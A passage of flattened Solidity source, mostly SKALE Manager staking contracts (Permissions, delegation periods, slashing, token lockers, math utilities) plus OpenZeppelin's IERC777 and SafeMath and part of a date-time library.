function _checkNodeOrNodeManager(uint nodeIndex, address sender) private view {
ValidatorService validatorService = ValidatorService(contractManager.getValidatorService());
require(
isNodeExist(sender, nodeIndex) ||
hasRole(NODE_MANAGER_ROLE, msg.sender) ||
getValidatorId(nodeIndex) == validatorService.getValidatorId(sender),
"Sender is not permitted to call this function"
);
}
function _publicKeyToAddress(bytes32[2] memory pubKey) private pure returns (address) {
bytes32 hash = keccak256(abi.encodePacked(pubKey[0], pubKey[1]));
bytes20 addr;
for (uint8 i = 12; i < 32; i++) {
addr |= bytes20(hash[i] & 0xFF) >> ((i - 12) * 8);
}
return address(addr);
}
function _canBeVisible(uint nodeIndex) private view returns (bool) {
return !incompliant[nodeIndex] && nodes[nodeIndex].status == NodeStatus.Active;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
Permissions.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/access/AccessControl.sol";
import "./ContractManager.sol";
/**
* @title Permissions
* @dev Contract is connected module for Upgradeable approach, knows ContractManager
*/
contract Permissions is AccessControlUpgradeSafe {
using SafeMath for uint;
using Address for address;
ContractManager public contractManager;
/**
* @dev Modifier to make a function callable only when caller is the Owner.
*
* Requirements:
*
* - The caller must be the owner.
*/
modifier onlyOwner() {
require(_isOwner(), "Caller is not the owner");
_;
}
/**
* @dev Modifier to make a function callable only when caller is an Admin.
*
* Requirements:
*
* - The caller must be an admin.
*/
modifier onlyAdmin() {
require(_isAdmin(msg.sender), "Caller is not an admin");
_;
}
/**
* @dev Modifier to make a function callable only when caller is the Owner
* or `contractName` contract.
*
* Requirements:
*
* - The caller must be the owner or `contractName`.
*/
modifier allow(string memory contractName) {
require(
contractManager.getContract(contractName) == msg.sender || _isOwner(),
"Message sender is invalid");
_;
}
/**
* @dev Modifier to make a function callable only when caller is the Owner
* or `contractName1` or `contractName2` contract.
*
* Requirements:
*
* - The caller must be the owner, `contractName1`, or `contractName2`.
*/
modifier allowTwo(string memory contractName1, string memory contractName2) {
require(
contractManager.getContract(contractName1) == msg.sender ||
contractManager.getContract(contractName2) == msg.sender ||
_isOwner(),
"Message sender is invalid");
_;
}
/**
* @dev Modifier to make a function callable only when caller is the Owner
* or `contractName1`, `contractName2`, or `contractName3` contract.
*
* Requirements:
*
* - The caller must be the owner, `contractName1`, `contractName2`, or
* `contractName3`.
*/
modifier allowThree(string memory contractName1, string memory contractName2, string memory contractName3) {
require(
contractManager.getContract(contractName1) == msg.sender ||
contractManager.getContract(contractName2) == msg.sender ||
contractManager.getContract(contractName3) == msg.sender ||
_isOwner(),
"Message sender is invalid");
_;
}
function initialize(address contractManagerAddress) public virtual initializer {
AccessControlUpgradeSafe.__AccessControl_init();
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setContractManager(contractManagerAddress);
}
function _isOwner() internal view returns (bool) {
return hasRole(DEFAULT_ADMIN_ROLE, msg.sender);
}
function _isAdmin(address account) internal view returns (bool) {
address skaleManagerAddress = contractManager.contracts(keccak256(abi.encodePacked("SkaleManager")));
if (skaleManagerAddress != address(0)) {
AccessControlUpgradeSafe skaleManager = AccessControlUpgradeSafe(skaleManagerAddress);
return skaleManager.hasRole(keccak256("ADMIN_ROLE"), account) || _isOwner();
} else {
return _isOwner();
}
}
function _setContractManager(address contractManagerAddress) private {
require(contractManagerAddress != address(0), "ContractManager address is not set");
require(contractManagerAddress.isContract(), "Address is not contract");
contractManager = ContractManager(contractManagerAddress);
}
}
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC777Token standard as defined in the EIP.
*
* This contract uses the
* https://eips.ethereum.org/EIPS/eip-1820[ERC1820 registry standard] to let
* token holders and recipients react to token movements by using setting implementers
* for the associated interfaces in said registry. See {IERC1820Registry} and
* {ERC1820Implementer}.
*/
interface IERC777 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the smallest part of the token that is not divisible. This
* means all token operations (creation, movement and destruction) must have
* amounts that are a multiple of this number.
*
* For most token contracts, this value will equal 1.
*/
function granularity() external view returns (uint256);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by an account (`owner`).
*/
function balanceOf(address owner) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* If send or receive hooks are registered for the caller and `recipient`,
* the corresponding functions will be called with `data` and empty
* `operatorData`. See {IERC777Sender} and {IERC777Recipient}.
*
* Emits a {Sent} event.
*
* Requirements
*
* - the caller must have at least `amount` tokens.
* - `recipient` cannot be the zero address.
* - if `recipient` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function send(address recipient, uint256 amount, bytes calldata data) external;
/**
* @dev Destroys `amount` tokens from the caller's account, reducing the
* total supply.
*
* If a send hook is registered for the caller, the corresponding function
* will be called with `data` and empty `operatorData`. See {IERC777Sender}.
*
* Emits a {Burned} event.
*
* Requirements
*
* - the caller must have at least `amount` tokens.
*/
function burn(uint256 amount, bytes calldata data) external;
/**
* @dev Returns true if an account is an operator of `tokenHolder`.
* Operators can send and burn tokens on behalf of their owners. All
* accounts are their own operator.
*
* See {operatorSend} and {operatorBurn}.
*/
function isOperatorFor(address operator, address tokenHolder) external view returns (bool);
/**
* @dev Make an account an operator of the caller.
*
* See {isOperatorFor}.
*
* Emits an {AuthorizedOperator} event.
*
* Requirements
*
* - `operator` cannot be calling address.
*/
function authorizeOperator(address operator) external;
/**
* @dev Revoke an account's operator status for the caller.
*
* See {isOperatorFor} and {defaultOperators}.
*
* Emits a {RevokedOperator} event.
*
* Requirements
*
* - `operator` cannot be calling address.
*/
function revokeOperator(address operator) external;
/**
* @dev Returns the list of default operators. These accounts are operators
* for all token holders, even if {authorizeOperator} was never called on
* them.
*
* This list is immutable, but individual holders may revoke these via
* {revokeOperator}, in which case {isOperatorFor} will return false.
*/
function defaultOperators() external view returns (address[] memory);
/**
* @dev Moves `amount` tokens from `sender` to `recipient`. The caller must
* be an operator of `sender`.
*
* If send or receive hooks are registered for `sender` and `recipient`,
* the corresponding functions will be called with `data` and
* `operatorData`. See {IERC777Sender} and {IERC777Recipient}.
*
* Emits a {Sent} event.
*
* Requirements
*
* - `sender` cannot be the zero address.
* - `sender` must have at least `amount` tokens.
* - the caller must be an operator for `sender`.
* - `recipient` cannot be the zero address.
* - if `recipient` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
/**
* @dev Destroys `amount` tokens from `account`, reducing the total supply.
* The caller must be an operator of `account`.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `data` and `operatorData`. See {IERC777Sender}.
*
* Emits a {Burned} event.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
* - the caller must be an operator for `account`.
*/
function operatorBurn(
address account,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
event Sent(
address indexed operator,
address indexed from,
address indexed to,
uint256 amount,
bytes data,
bytes operatorData
);
event Minted(address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData);
event Burned(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData);
event AuthorizedOperator(address indexed operator, address indexed tokenHolder);
event RevokedOperator(address indexed operator, address indexed tokenHolder);
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
FractionUtils.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
library FractionUtils {
using SafeMath for uint;
struct Fraction {
uint numerator;
uint denominator;
}
function createFraction(uint numerator, uint denominator) internal pure returns (Fraction memory) {
require(denominator > 0, "Division by zero");
Fraction memory fraction = Fraction({numerator: numerator, denominator: denominator});
reduceFraction(fraction);
return fraction;
}
function createFraction(uint value) internal pure returns (Fraction memory) {
return createFraction(value, 1);
}
function reduceFraction(Fraction memory fraction) internal pure {
uint _gcd = gcd(fraction.numerator, fraction.denominator);
fraction.numerator = fraction.numerator.div(_gcd);
fraction.denominator = fraction.denominator.div(_gcd);
}
// numerator - is limited by 7*10^27, we could multiply it numerator * numerator - it would less than 2^256-1
function multiplyFraction(Fraction memory a, Fraction memory b) internal pure returns (Fraction memory) {
return createFraction(a.numerator.mul(b.numerator), a.denominator.mul(b.denominator));
}
function gcd(uint a, uint b) internal pure returns (uint) {
uint _a = a;
uint _b = b;
if (_b > _a) {
(_a, _b) = swap(_a, _b);
}
while (_b > 0) {
_a = _a.mod(_b);
(_a, _b) = swap (_a, _b);
}
return _a;
}
function swap(uint a, uint b) internal pure returns (uint, uint) {
return (b, a);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
MathUtils.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
library MathUtils {
uint constant private _EPS = 1e6;
event UnderflowError(
uint a,
uint b
);
function boundedSub(uint256 a, uint256 b) internal returns (uint256) {
if (a >= b) {
return a - b;
} else {
emit UnderflowError(a, b);
return 0;
}
}
function boundedSubWithoutEvent(uint256 a, uint256 b) internal pure returns (uint256) {
if (a >= b) {
return a - b;
} else {
return 0;
}
}
function muchGreater(uint256 a, uint256 b) internal pure returns (bool) {
assert(uint(-1) - _EPS > b);
return a > b + _EPS;
}
function approximatelyEqual(uint256 a, uint256 b) internal pure returns (bool) {
if (a > b) {
return a - b < _EPS;
} else {
return b - a < _EPS;
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
DelegationPeriodManager.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
@author Vadim Yavorsky
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "../Permissions.sol";
import "../ConstantsHolder.sol";
/**
* @title Delegation Period Manager
* @dev This contract handles all delegation offerings. Delegations are held for
* a specified period (months), and different durations can have different
* returns or `stakeMultiplier`. Currently, only delegation periods can be added.
*/
contract DelegationPeriodManager is Permissions {
mapping (uint => uint) public stakeMultipliers;
bytes32 public constant DELEGATION_PERIOD_SETTER_ROLE = keccak256("DELEGATION_PERIOD_SETTER_ROLE");
/**
* @dev Emitted when a new delegation period is specified.
*/
event DelegationPeriodWasSet(
uint length,
uint stakeMultiplier
);
/**
* @dev Allows the Owner to create a new available delegation period and
* stake multiplier in the network.
*
* Emits a {DelegationPeriodWasSet} event.
*/
function setDelegationPeriod(uint monthsCount, uint stakeMultiplier) external {
require(hasRole(DELEGATION_PERIOD_SETTER_ROLE, msg.sender), "DELEGATION_PERIOD_SETTER_ROLE is required");
require(stakeMultipliers[monthsCount] == 0, "Delegation period is already set");
stakeMultipliers[monthsCount] = stakeMultiplier;
emit DelegationPeriodWasSet(monthsCount, stakeMultiplier);
}
/**
* @dev Checks whether given delegation period is allowed.
*/
function isDelegationPeriodAllowed(uint monthsCount) external view returns (bool) {
return stakeMultipliers[monthsCount] != 0;
}
/**
* @dev Initial delegation period and multiplier settings.
*/
function initialize(address contractsAddress) public override initializer {
Permissions.initialize(contractsAddress);
stakeMultipliers[2] = 100; // 2 months at 100
// stakeMultipliers[6] = 150; // 6 months at 150
// stakeMultipliers[12] = 200; // 12 months at 200
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
Punisher.sol - SKALE Manager
Copyright (C) 2019-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "../Permissions.sol";
import "../interfaces/delegation/ILocker.sol";
import "./ValidatorService.sol";
import "./DelegationController.sol";
/**
* @title Punisher
* @dev This contract handles all slashing and forgiving operations.
*/
contract Punisher is Permissions, ILocker {
// holder => tokens
mapping (address => uint) private _locked;
bytes32 public constant FORGIVER_ROLE = keccak256("FORGIVER_ROLE");
/**
* @dev Emitted upon slashing condition.
*/
event Slash(
uint validatorId,
uint amount
);
/**
* @dev Emitted upon forgive condition.
*/
event Forgive(
address wallet,
uint amount
);
/**
* @dev Allows SkaleDKG contract to execute slashing on a validator and
* validator's delegations by an `amount` of tokens.
*
* Emits a {Slash} event.
*
* Requirements:
*
* - Validator must exist.
*/
function slash(uint validatorId, uint amount) external allow("SkaleDKG") {
ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService"));
DelegationController delegationController = DelegationController(
contractManager.getContract("DelegationController"));
require(validatorService.validatorExists(validatorId), "Validator does not exist");
delegationController.confiscate(validatorId, amount);
emit Slash(validatorId, amount);
}
/**
* @dev Allows the Admin to forgive a slashing condition.
*
* Emits a {Forgive} event.
*
* Requirements:
*
* - All slashes must have been processed.
*/
function forgive(address holder, uint amount) external {
require(hasRole(FORGIVER_ROLE, msg.sender), "FORGIVER_ROLE is required");
DelegationController delegationController = DelegationController(
contractManager.getContract("DelegationController"));
require(!delegationController.hasUnprocessedSlashes(holder), "Not all slashes were calculated");
if (amount > _locked[holder]) {
delete _locked[holder];
} else {
_locked[holder] = _locked[holder].sub(amount);
}
emit Forgive(holder, amount);
}
/**
* @dev See {ILocker-getAndUpdateLockedAmount}.
*/
function getAndUpdateLockedAmount(address wallet) external override returns (uint) {
return _getAndUpdateLockedAmount(wallet);
}
/**
* @dev See {ILocker-getAndUpdateForbiddenForDelegationAmount}.
*/
function getAndUpdateForbiddenForDelegationAmount(address wallet) external override returns (uint) {
return _getAndUpdateLockedAmount(wallet);
}
/**
* @dev Allows DelegationController contract to execute slashing of
* delegations.
*/
function handleSlash(address holder, uint amount) external allow("DelegationController") {
_locked[holder] = _locked[holder].add(amount);
}
function initialize(address contractManagerAddress) public override initializer {
Permissions.initialize(contractManagerAddress);
}
// private
/**
* @dev See {ILocker-getAndUpdateLockedAmount}.
*/
function _getAndUpdateLockedAmount(address wallet) private returns (uint) {
DelegationController delegationController = DelegationController(
contractManager.getContract("DelegationController"));
delegationController.processAllSlashes(wallet);
return _locked[wallet];
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
TokenState.sol - SKALE Manager
Copyright (C) 2019-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "../interfaces/delegation/ILocker.sol";
import "../Permissions.sol";
import "./DelegationController.sol";
import "./TimeHelpers.sol";
/**
* @title Token State
* @dev This contract manages lockers to control token transferability.
*
* The SKALE Network has three types of locked tokens:
*
* - Tokens that are transferrable but are currently locked into delegation with
* a validator.
*
* - Tokens that are not transferable from one address to another, but may be
* delegated to a validator `getAndUpdateLockedAmount`. This lock enforces
* Proof-of-Use requirements.
*
* - Tokens that are neither transferable nor delegatable
* `getAndUpdateForbiddenForDelegationAmount`. This lock enforces slashing.
*/
contract TokenState is Permissions, ILocker {
string[] private _lockers;
DelegationController private _delegationController;
bytes32 public constant LOCKER_MANAGER_ROLE = keccak256("LOCKER_MANAGER_ROLE");
modifier onlyLockerManager() {
require(hasRole(LOCKER_MANAGER_ROLE, msg.sender), "LOCKER_MANAGER_ROLE is required");
_;
}
/**
* @dev Emitted when a contract is added to the locker.
*/
event LockerWasAdded(
string locker
);
/**
* @dev Emitted when a contract is removed from the locker.
*/
event LockerWasRemoved(
string locker
);
/**
* @dev See {ILocker-getAndUpdateLockedAmount}.
*/
function getAndUpdateLockedAmount(address holder) external override returns (uint) {
if (address(_delegationController) == address(0)) {
_delegationController =
DelegationController(contractManager.getContract("DelegationController"));
}
uint locked = 0;
if (_delegationController.getDelegationsByHolderLength(holder) > 0) {
// the holder ever delegated
for (uint i = 0; i < _lockers.length; ++i) {
ILocker locker = ILocker(contractManager.getContract(_lockers[i]));
locked = locked.add(locker.getAndUpdateLockedAmount(holder));
}
}
return locked;
}
/**
* @dev See {ILocker-getAndUpdateForbiddenForDelegationAmount}.
*/
function getAndUpdateForbiddenForDelegationAmount(address holder) external override returns (uint amount) {
uint forbidden = 0;
for (uint i = 0; i < _lockers.length; ++i) {
ILocker locker = ILocker(contractManager.getContract(_lockers[i]));
forbidden = forbidden.add(locker.getAndUpdateForbiddenForDelegationAmount(holder));
}
return forbidden;
}
/**
* @dev Allows the Owner to remove a contract from the locker.
*
* Emits a {LockerWasRemoved} event.
*/
function removeLocker(string calldata locker) external onlyLockerManager {
uint index;
bytes32 hash = keccak256(abi.encodePacked(locker));
for (index = 0; index < _lockers.length; ++index) {
if (keccak256(abi.encodePacked(_lockers[index])) == hash) {
break;
}
}
if (index < _lockers.length) {
if (index < _lockers.length.sub(1)) {
_lockers[index] = _lockers[_lockers.length.sub(1)];
}
delete _lockers[_lockers.length.sub(1)];
_lockers.pop();
emit LockerWasRemoved(locker);
}
}
function initialize(address contractManagerAddress) public override initializer {
Permissions.initialize(contractManagerAddress);
_setupRole(LOCKER_MANAGER_ROLE, msg.sender);
addLocker("DelegationController");
addLocker("Punisher");
}
/**
* @dev Allows the Owner to add a contract to the Locker.
*
* Emits a {LockerWasAdded} event.
*/
function addLocker(string memory locker) public onlyLockerManager {
_lockers.push(locker);
emit LockerWasAdded(locker);
}
}
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.6.0;
// ----------------------------------------------------------------------------
// BokkyPooBah's DateTime Library v1.01
//
// A gas-efficient Solidity date and time library
//
// https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary
//
// Tested date range 1970/01/01 to 2345/12/31
//
// Conventions:
// Unit | Range | Notes
// :-------- |:-------------:|:-----
// timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC
// year | 1970 ... 2345 |
// month | 1 ... 12 |
// day | 1 ... 31 |
// hour | 0 ... 23 |
// minute | 0 ... 59 |
// second | 0 ... 59 |
// dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday
//
//
// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence.
// ----------------------------------------------------------------------------
library BokkyPooBahsDateTimeLibrary {
uint constant SECONDS_PER_DAY = 24 * 60 * 60;
uint constant SECONDS_PER_HOUR = 60 * 60;
uint constant SECONDS_PER_MINUTE = 60;
int constant OFFSET19700101 = 2440588;
uint constant DOW_MON = 1;
uint constant DOW_TUE = 2;
uint constant DOW_WED = 3;
uint constant DOW_THU = 4;
uint constant DOW_FRI = 5;
uint constant DOW_SAT = 6;
uint constant DOW_SUN = 7;
// ------------------------------------------------------------------------
// Calculate the number of days from 1970/01/01 to year/month/day using
// the date conversion algorithm from
// http://aa.usno.navy.mil/faq/docs/JD_Formula.php
// and subtracting the offset 2440588 so that 1970/01/01 is day 0
//
// days = day
// - 32075
// + 1461 * (year + 4800 + (month - 14) / 12) / 4
// + 367 * (month - 2 - (month - 14) / 12 * 12) / 12
// - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4
// - offset
// ------------------------------------------------------------------------
function _daysFromDate(uint year, uint month, uint day) internal pure returns (uint _days) {
require(year >= 1970);
int _year = int(year);
int _month = int(month);
int _day = int(day);
int __days = _day
- 32075
+ 1461 * (_year + 4800 + (_month - 14) / 12) / 4
+ 367 * (_month - 2 - (_month - 14) / 12 * 12) / 12
- 3 * ((_year + 4900 + (_month - 14) / 12) / 100) / 4
- OFFSET19700101;
_days = uint(__days);
}
// ------------------------------------------------------------------------
// Calculate year/month/day from the number of days since 1970/01/01 using
// the date conversion algorithm from
// http://aa.usno.navy.mil/faq/docs/JD_Formula.php
// and adding the offset 2440588 so that 1970/01/01 is day 0
//
// int L = days + 68569 + offset
// int N = 4 * L / 146097
// L = L - (146097 * N + 3) / 4
// year = 4000 * (L + 1) / 1461001
// L = L - 1461 * year / 4 + 31
// month = 80 * L / 2447
// dd = L - 2447 * month / 80
// L = month / 11
// month = month + 2 - 12 * L
// year = 100 * (N - 49) + year + L
// ------------------------------------------------------------------------
function _daysToDate(uint _days) internal pure returns (uint year, uint month, uint day) {
int __days = int(_days);
int L = __days + 68569 + OFFSET19700101;
int N = 4 * L / 146097;
L = L - (146097 * N + 3) / 4;
int _year = 4000 * (L + 1) / 1461001;
L = L - 1461 * _year / 4 + 31;
int _month = 80 * L / 2447;
int _day = L - 2447 * _month / 80;
L = _month / 11;
_month = _month + 2 - 12 * L;
_year = 100 * (N - 49) + _year + L;
year = uint(_year);
month = uint(_month);
day = uint(_day);
}
function timestampFromDate(uint year, uint month, uint day) internal pure returns (uint timestamp) {
timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY;
}
function timestampFromDateTime(uint year, uint month, uint day, uint hour, uint minute, uint second) internal pure returns (uint timestamp) {
timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + hour * SECONDS_PER_HOUR + minute * SECONDS_PER_MINUTE + second;
}
function timestampToDate(uint timestamp) internal pure returns (uint year, uint month, uint day) {
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function timestampToDateTime(uint timestamp) internal pure returns (uint year, uint month, uint day, uint hour, uint minute, uint second) {
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
uint secs = timestamp % SECONDS_PER_DAY;
hour = secs / SECONDS_PER_HOUR;
secs = secs % SECONDS_PER_HOUR;
minute = secs / SECONDS_PER_MINUTE;
second = secs % SECONDS_PER_MINUTE;
}
function isValidDate(uint year, uint month, uint day) internal pure returns (bool valid) {
if (year >= 1970 && month > 0 && month <= 12) {
uint daysInMonth = _getDaysInMonth(year, month);
if (day > 0 && day <= daysInMonth) {
valid = true;
}
}
}
function isValidDateTime(uint year, uint month, uint day, uint hour, uint minute, uint second) internal pure returns (bool valid) {
if (isValidDate(year, month, day)) {
if (hour < 24 && minute < 60 && second < 60) {
valid = true;
}
}
}
function isLeapYear(uint timestamp) internal pure returns (bool leapYear) {
uint year;
uint month;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
leapYear = _isLeapYear(year);
}
function _isLeapYear(uint year) internal pure returns (bool leapYear) {
leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0);
}
function isWeekDay(uint timestamp) internal pure returns (bool weekDay) {
weekDay = getDayOfWeek(timestamp) <= DOW_FRI;
}
function isWeekEnd(uint timestamp) internal pure returns (bool weekEnd) {
weekEnd = getDayOfWeek(timestamp) >= DOW_SAT;
}
function getDaysInMonth(uint timestamp) internal pure returns (uint daysInMonth) {
uint year;
uint month;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
daysInMonth = _getDaysInMonth(year, month);
}
function _getDaysInMonth(uint year, uint month) internal pure returns (uint daysInMonth) {
if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {
daysInMonth = 31;
} else if (month != 2) {
daysInMonth = 30;
} else {
daysInMonth = _isLeapYear(year) ? 29 : 28;
}
}
// 1 = Monday, 7 = Sunday
function getDayOfWeek(uint timestamp) internal pure returns (uint dayOfWeek) {
uint _days = timestamp / SECONDS_PER_DAY;
dayOfWeek = (_days + 3) % 7 + 1;
}
function getYear(uint timestamp) internal pure returns (uint year) {
uint month;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function getMonth(uint timestamp) internal pure returns (uint month) {
uint year;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
